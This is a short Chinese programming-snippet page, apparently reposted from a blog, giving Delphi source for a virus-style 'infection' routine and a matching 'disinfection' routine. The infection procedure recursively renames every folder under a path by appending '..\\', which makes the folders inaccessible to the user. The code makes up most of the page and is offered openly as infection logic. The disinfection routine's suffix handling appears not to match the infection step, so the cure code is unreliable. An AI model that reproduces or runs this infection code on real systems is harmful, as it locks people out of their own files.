主页 > 编程资料 > Delphi >
发布时间:2015-09-22 作者:网络 阅读:129次

感染函数procedure TForm1.EnCrypt(pPath:string);
var
lCount,i:Integer;
lNewName,lFileName:string;
lStringList:TStringList;
begin
lStringList:=GetDirTreeList(pPath);
lCount:=lStringList.Count-1;for i:=lCount downto 0 do
begin
lFileName:=lStringList.Strings[i];
lNewName:=lFileName+'..\';
if DirectoryExists(lFileName) then
begin
ReNameFile(lFileName,lNewName)
end;
end;
end;
杀毒函数procedure TForm1.DeCrypt(pPath: string);
var
lStringList:TStringList;
lNameLength,i:Integer;
lNewFileName,lOldFileName:string;
SearchRec:TSearchRec;
begin
lStringList:=TStringList.Create;
lStringList:=GetDirTreeList(pPath);
for i := 0 to lStringList.Count-1 do
begin
lOldFileName:=lStringList.Strings[i]+'.\';
lNameLength:=Length(lOldFileName);
lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
ReNameFile(lOldFileName,lNewFileName);
DeCrypt(lNewFileName);
end;
end;

出处http://bigpower.blog.51cto.com/209892/114715


关键字词: